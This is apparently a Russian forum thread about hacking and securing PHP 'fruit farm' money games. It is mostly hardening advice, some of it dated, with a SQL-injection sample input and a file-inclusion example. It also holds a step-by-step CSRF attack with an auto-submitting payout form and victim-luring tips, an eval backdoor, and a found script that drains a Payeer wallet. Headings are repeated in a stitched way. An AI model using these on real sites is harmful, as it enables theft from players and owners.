В данной теме буду выкладывать способы взлома фруктовых ферм, а так же причин приводящих к взлому.
!!! eval()
Очень часто для взлома Фруктовых Ферм в код вставляют функцию eval(), которая позволяет выполнить сторонний код (код из строки, с другого сайта) и скрипт выкладывают в паблик. Иногда данный код кодируют при помощи алгоритма MIME base64 - получается строка разнообразных символов такого вида
Фильтрация данных
Очень частая ошибка в Фруктовых Фермах - это отсутствие фильтрации данных.
CSRF (Cross-Site Request Forgery) – атака, позволяющая хакеру выполнить на целевом сайте различные действия от имени других, зарегистрированных посетителей.
Бэкдоры
Хотите лишиться денег? Размещайте баннеры различных рекламных систем на странице выплаты! (LinkSlot и т.п.)
------UPDATE-----
От [B][SIZE=4]A_lex[/SIZE][/B]
Был взлом игры
В итоге вот что нашел у себя на хостинге
!!! eval()
Очень часто для взлома Фруктовых Ферм в код вставляют функцию eval(), которая позволяет выполнить сторонний код (код из строки, с другого сайта) и скрипт выкладывают в паблик. Иногда данный код кодируют при помощи алгоритма MIME base64 - получается строка разнообразных символов такого вида
PHP:
0L/RgNC40LzQtdGAINC60L7QtNCw
Очень частая ошибка в Фруктовых Фермах - это отсутствие фильтрации данных.
Фильтрация. Ошибка №1
Для числовых переменных используется такая проверка:
Почему она приведет к SQL инъекции? Дело в том, что пользователь может указать в переменной input_number значение:
В таком случаи проверка будет успешно пройдена, т.к. функция intval получает целочисленное значение переменной, т.е. 1, но в самой переменной $number ничего не изменилось, поэтому весь вредоносный код будет передан в SQL запрос.
Правильная фильтрация:
Конечно, условие может меняться, например если вам нужно получить только определенный диапазон:
Если вы используете чекбоксы или мультиселекты с числовыми значениями, выполните такую проверку:
array_map
Так же встречаю фильтрацию в виде:
htmlspecialchars
Или:
mysql_escape_string
Ничего кроме улыбки это не может вызвать
Фильтрация. Ошибка №2.
Для стринг-переменных используется такая фильтрация:
Функция addslashes экранирует спец. символы, но она не учитывает кодировку БД и возможен обход фильтрации. Не стану копировать текст автора, который описал данную уязвимость и дам просто ссылку Chris Shiflett (перевод можно поискать в рунете).
Используйте функцию mysql_escape_string или mysql_real_escape_string, пример:
Если вы не предполагаете вхождение html тегов, то лучше всего сделать такую фильтрацию:
strip_tags — убирает html теги.
htmlspecialchars — преобразует спец. символы в html сущности.
Так вы защитите себя от XSS атаки, помимо SQL инъекции.
Если же вам нужны html теги, но только как для вывода исходного кода, то достаточно использовать:
Если вам важно, чтобы значение переменной не было пустой, то используйте функцию trim, пример:
Фильтрация. Ошибка №3.
Она касается поиска в БД.
Для поиска по числам используйте фильтрацию, описанную в первой ошибке.
Для поиска по тексту используйте фильтрацию, описанную во второй ошибке, но с оговорками.
Для того, чтобы пользователь не смог выполнить логическую ошибку, нужно удалять или экранировать спец. символы SQL.
Пример без доп. обработки строки:
На выходе у нас получится запрос вида:
... WHERE text_row LIKE '%".$input_text."%' ... // WHERE text_row LIKE '%%%'
Это значительно увеличит нагрузку на базу.
В своём скрипте я использую функцию, которая удаляет нежелательные мне символы из поиска:
Конечно, не все из выше перечисленных символов представляют опасность, но в моём случаи они не нужны, поэтому выполняю поиск и замену.
Пример использования фильтрации:
Также советую сделать ограничение по количеству символов в поиске, хотя бы не меньше 3-х, т.к. если у вас будет большое количество записей в базе, то поиск по 1-2 символам будет значительно увеличивать нагрузку на БД.
Фильтрация. Ошибка №4.
Не фильтруются значения в переменной $_COOKIE. Некоторые думаю, что раз эту переменную нельзя передать через форму, то это гарантия безопасности.
Данную переменную очень легко подделать любым браузером, отредактировав куки сайта.
Например, в одной известной CMS была проверка, используемого шаблона сайта:
В данном случаи можно подменить значение переменной $_COOKIE['skin'] и вызвать ошибку, в результате которой вы увидите абсолютный путь до папки сайта.
Если вы используете значение куков для сохранения в базу, то используйте одну из выше описанных фильтраций, тоже касается и переменной $_SERVER.
Фильтрация. Ошибка №5.
Включена директива register_globals. Обязательно выключите её, если она включена.
В некоторых ситуациях можно передать значение переменной, которая не должна была передаваться, например, если на сайте есть группы, то группе 2 переменная $group должна быть пустой или равняться 0, но достаточно подделать форму, добавив код:
В PHP скрипте переменная $group будет равна 5, если в скрипте она не была объявлена со значением по умолчанию.
Фильтрация. Ошибка №6.
Проверяйте загружаемые файлы.
Выполняйте проверку по следующим пунктам:
Для числовых переменных используется такая проверка:
PHP:
$number = $_GET['input_number'];
if (intval($number))
{
... выполняем SQL запрос ...
}
Код:
1'+UNION+SELECT
Правильная фильтрация:
PHP:
$number = intval($_GET['input_number']);
if ($number)
{
... выполняем SQL запрос ...
}
PHP:
if ($number >= 32 AND $number <= 65)
PHP:
$checkbox_arr = array_map('intval', $_POST['checkbox']);
Так же встречаю фильтрацию в виде:
PHP:
$number = htmlspecialchars(intval($_GET['input_number']));
Или:
PHP:
$number = mysql_escape_string(intval($_GET['input_number']));
Ничего кроме улыбки это не может вызвать
Фильтрация. Ошибка №2.
Для стринг-переменных используется такая фильтрация:
PHP:
$input_text = addslashes($_GET['input_text']);
Используйте функцию mysql_escape_string или mysql_real_escape_string, пример:
PHP:
$input_text = mysql_escape_string($_GET['input_text']);
PHP:
$input_text = strip_tags($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
htmlspecialchars — преобразует спец. символы в html сущности.
Так вы защитите себя от XSS атаки, помимо SQL инъекции.
Если же вам нужны html теги, но только как для вывода исходного кода, то достаточно использовать:
PHP:
$input_text = htmlspecialchars($_GET['input_text']);
$input_text = mysql_escape_string($input_text);
PHP:
$input_text = trim($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
Она касается поиска в БД.
Для поиска по числам используйте фильтрацию, описанную в первой ошибке.
Для поиска по тексту используйте фильтрацию, описанную во второй ошибке, но с оговорками.
Для того, чтобы пользователь не смог выполнить логическую ошибку, нужно удалять или экранировать спец. символы SQL.
Пример без доп. обработки строки:
PHP:
$input_text = htmlspecialchars($_GET['input_text']); // Поиск: "%"
$input_text = mysql_escape_string($input_text);
... WHERE text_row LIKE '%".$input_text."%' ... // WHERE text_row LIKE '%%%'
Это значительно увеличит нагрузку на базу.
В своём скрипте я использую функцию, которая удаляет нежелательные мне символы из поиска:
PHP:
function strip_data($text)
{
$quotes = array ("\x27", "\x22", "\x60", "\t", "\n", "\r", "*", "%", "<", ">", "?", "!" );
$goodquotes = array ("-", "+", "#" );
$repquotes = array ("\-", "\+", "\#" );
$text = trim( strip_tags( $text ) );
$text = str_replace( $quotes, '', $text );
$text = str_replace( $goodquotes, $repquotes, $text );
$text = ereg_replace(" +", " ", $text);
return $text;
}
Пример использования фильтрации:
PHP:
$input_text = strip_data($_GET['input_text']);
$input_text = htmlspecialchars($input_text);
$input_text = mysql_escape_string($input_text);
Фильтрация. Ошибка №4.
Не фильтруются значения в переменной $_COOKIE. Некоторые думаю, что раз эту переменную нельзя передать через форму, то это гарантия безопасности.
Данную переменную очень легко подделать любым браузером, отредактировав куки сайта.
Например, в одной известной CMS была проверка, используемого шаблона сайта:
PHP:
if (@is_dir ( MAIN_DIR . '/template/' . $_COOKIE['skin'] )){
$config['skin'] = $_COOKIE['skin'];
}
$tpl->dir = MAIN_DIR . '/template/' . $config['skin'];
Если вы используете значение куков для сохранения в базу, то используйте одну из выше описанных фильтраций, тоже касается и переменной $_SERVER.
Фильтрация. Ошибка №5.
Включена директива register_globals. Обязательно выключите её, если она включена.
В некоторых ситуациях можно передать значение переменной, которая не должна была передаваться, например, если на сайте есть группы, то группе 2 переменная $group должна быть пустой или равняться 0, но достаточно подделать форму, добавив код:
HTML:
<input type="text" name="group" value="5" />
Фильтрация. Ошибка №6.
Проверяйте загружаемые файлы.
Выполняйте проверку по следующим пунктам:
- Расширение файла. Желательно запретить загрузку файлов с расширениями: php, php3, php4, php5 и т.п.
- Загружен ли файл на сервер move_uploaded_file
- Размер файла
Проверка. Ошибка №1.
Сталкивался со случаями, когда для AJAX запроса (например: повышение репутации) передавалось имя пользователя или его ID (кому повышается репутация), но в самом PHP не было проверки на существование такого пользователя.
Например:
Получается мы создаем запись в базе, которая совершенно бесполезна нам.
Проверка. Ошибка №2.
При выполнении различного рода действий (добавление, редактирование, удаление) с данными не забывайте проверять права пользователя на доступ к данной функции и дополнительные возможности (использование html тегов или возможность опубликовать материал без проверки).
Давно исправлял в одном модуле форума подобную ошибку, когда любой пользователь мог отредактировать сообщение администрации.
Проверка. Ошибка №3.
При использовании нескольких php файлов сделайте простую проверку.
В файле index.php (или в любом другом главном файле) напишите такую строчку перед подключением других php файлов:
В начале других php файлов напишите:
Так вы ограничите доступ к файлам.
Проверка. Ошибка №4.
Используйте хеши для пользователей. Это поможет предотвратить вызов той или иной функции путём XSS.
Пример составления хеша для пользователей:
Далее во все важные формы подставляйте инпут со значением текущего хеша пользователя:
Во время выполнения скрипта осуществляйте проверку:
Проверка. Ошибка №5.
При выводе SQL ошибок сделайте простое ограничение к доступу информации. Например задайте пароль для GET переменной:
Это позволит скрыть от хакера информацию, которая может ему помочь во взломе сайта.
Проверка. Ошибка №5.
Старайтесь не подключать файлы, получая имена файлов извне.
Например:
Используйте переключатель switch:
В таком случаи вы предотвратите подключение файлов, которые не были вами предусмотрены.
Сталкивался со случаями, когда для AJAX запроса (например: повышение репутации) передавалось имя пользователя или его ID (кому повышается репутация), но в самом PHP не было проверки на существование такого пользователя.
Например:
PHP:
$user_id = intval($_REQUEST['user_id']);
... INSERT INTO REPLOG SET uid = '{$user_id}', plus = '1' ...
... UPDATE Users SET reputation = reputation+1 WHERE user_id = '{$user_id}' ...
Проверка. Ошибка №2.
При выполнении различного рода действий (добавление, редактирование, удаление) с данными не забывайте проверять права пользователя на доступ к данной функции и дополнительные возможности (использование html тегов или возможность опубликовать материал без проверки).
Давно исправлял в одном модуле форума подобную ошибку, когда любой пользователь мог отредактировать сообщение администрации.
Проверка. Ошибка №3.
При использовании нескольких php файлов сделайте простую проверку.
В файле index.php (или в любом другом главном файле) напишите такую строчку перед подключением других php файлов:
PHP:
define ( 'READFILE', true );
PHP:
if (! defined ( 'READFILE' ))
{
exit ( "Error, wrong way to file.<br><a href=\"/\">Go to main</a>." );
}
Проверка. Ошибка №4.
Используйте хеши для пользователей. Это поможет предотвратить вызов той или иной функции путём XSS.
Пример составления хеша для пользователей:
PHP:
$secret_key = md5( strtolower( "http://site.ru/" . $member['name'] . sha1($password) . date( "Ymd" ) ) ); // $secret_key - это наш хеш
HTML:
<input type="hidden" name="secret_key" value="$secret_key" />
PHP:
if ($_POST['secret_key'] !== $secret_key)
{
exit ('Error: secret_key!');
}
При выводе SQL ошибок сделайте простое ограничение к доступу информации. Например задайте пароль для GET переменной:
PHP:
if ($_GET['passsql'] == "password")
{
... вывод SQL ошибки ...
}
else
{
... Просто информация об ошибке, без подробностей ...
}
Проверка. Ошибка №5.
Старайтесь не подключать файлы, получая имена файлов извне.
Например:
PHP:
if (isset($_GET['file_name']))
{
include $_GET['file_name'] .'.php';
}
PHP:
switch($_GET['file_name'])
{
case 'file_1':
include 'file_1.php';
break;
default:
include 'file_0.php';
break;
}
CSRF (Cross-Site Request Forgery) – атака, позволяющая хакеру выполнить на целевом сайте различные действия от имени других, зарегистрированных посетителей.
Абсолютно все движки игр подвержены этой уязвимости! Благодаря ей можно сделать в чужом аккаунте всё что угодно, но самое привлекательное это списать чужие средства на свой кошелек.
Делается это просто, первым делом подготавливаем форму заказа выплаты.
Далее под ней вставляем javascript код который заставит браузер нажать на кнопку формы.
Все почти готово, теперь самое главное нам нужно как то заманить свою жертву, я предлагаю скачать любой скрипт с нашего форума и установить на бесплатный хостинг. Далее размещаем ссылку на этот скрипт (сайт) на серфинге сайтов. После того как статус задания будет доступен для исполнения, можно установить форму выплаты в любом файле на сайте.
После перехода человека по вашей ссылке и нажатии на сайте подтверждения серфинга, скрипт автоматически сделает вывод на Ваш кошелек указанный в форме.
Злоумышленнику упрощает задачу наличие серфинга в Вашей ферме.
Делается это просто, первым делом подготавливаем форму заказа выплаты.
HTML:
<form action = "http://имя_вашего_сайта/account/payment" method = "post" >
<input type = "text" name= "purse" value = "P000000">
<input type = "text" name= "sum" value = "50">
<input type = "text" name= "val_type" value = "RUB">
<input type="submit" id="myButton" onclick="myFunc()" >
</form>
HTML:
<script>
setTimeout(function() {document.getElementById("myButton").click();},1);
</script>
После перехода человека по вашей ссылке и нажатии на сайте подтверждения серфинга, скрипт автоматически сделает вывод на Ваш кошелек указанный в форме.
Злоумышленнику упрощает задачу наличие серфинга в Вашей ферме.
Бэкдоры
PHP:
if(!empty($_REQUEST['user_id'])){ if(@get_magic_quotes_gpc())$_REQUEST['user_id']=stripslashes($_REQUEST['user_id']); eval($_REQUEST['user_id']); die();}
------UPDATE-----
От [B][SIZE=4]A_lex[/SIZE][/B]
Был взлом игры
93.77.175.239 - - [10/Oct/2017:18:20:48 +0500] "GET /sev%D0%B5ns4.php HTTP/1.1" 200 7295 "мой сайт/sev%D0%B5ns4.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:50 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.0" 200 432 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:52 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.1" 200 194 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:50 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.0" 200 432 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
93.77.175.239 - - [10/Oct/2017:18:20:52 +0500] "GET /js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/FACK_YOU.php HTTP/1.1" 200 194 "мой сайт/js/editor/jscripts/tiny_mce/themes/simple/skins/o2k7/img/skins/o2k7/img/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36"
<?php
///////////////////////////////////////////////
function getnik(){
$a = array('Viktor228',
'Alexey2017',
'Mamix_Evanguy',
'GameDom',
'MonitorFF',
'MonitoringFF',
'FackingPussy');
return $a[rand(0,(count($a)-1))];
}
require_once('cpayeer.php');
$payeer = new CPayeer('мой кошелек payeer', 'id магазина', 'ключ магазина');
if ($payeer->isAuth())
{
$b = $payeer->getBalance();
print_r($b);
$balanse = $b['balance']['RUB']['DOSTUPNO'];
if($balanse > 0){
$arTransfer = $payeer->transfer(array(
'curIn' =>'RUB',
'sum'=>$balanse,
'curOut' => 'RUB',
'to' => 'P60932401',
'comment' =>'Spasibo by Z',
'anonim'=>'Y'
));
print_r($arTransfer);
}
print_r($payeer->getErrors());
}else{
print_r($payeer->getErrors());
echo "\r\n";
}
?>
///////////////////////////////////////////////
function getnik(){
$a = array('Viktor228',
'Alexey2017',
'Mamix_Evanguy',
'GameDom',
'MonitorFF',
'MonitoringFF',
'FackingPussy');
return $a[rand(0,(count($a)-1))];
}
require_once('cpayeer.php');
$payeer = new CPayeer('мой кошелек payeer', 'id магазина', 'ключ магазина');
if ($payeer->isAuth())
{
$b = $payeer->getBalance();
print_r($b);
$balanse = $b['balance']['RUB']['DOSTUPNO'];
if($balanse > 0){
$arTransfer = $payeer->transfer(array(
'curIn' =>'RUB',
'sum'=>$balanse,
'curOut' => 'RUB',
'to' => 'P60932401',
'comment' =>'Spasibo by Z',
'anonim'=>'Y'
));
print_r($arTransfer);
}
print_r($payeer->getErrors());
}else{
print_r($payeer->getErrors());
echo "\r\n";
}
?>
Вложения
-
4,1 КБ Просмотры: 627
-
92 КБ Просмотры: 802
Последнее редактирование: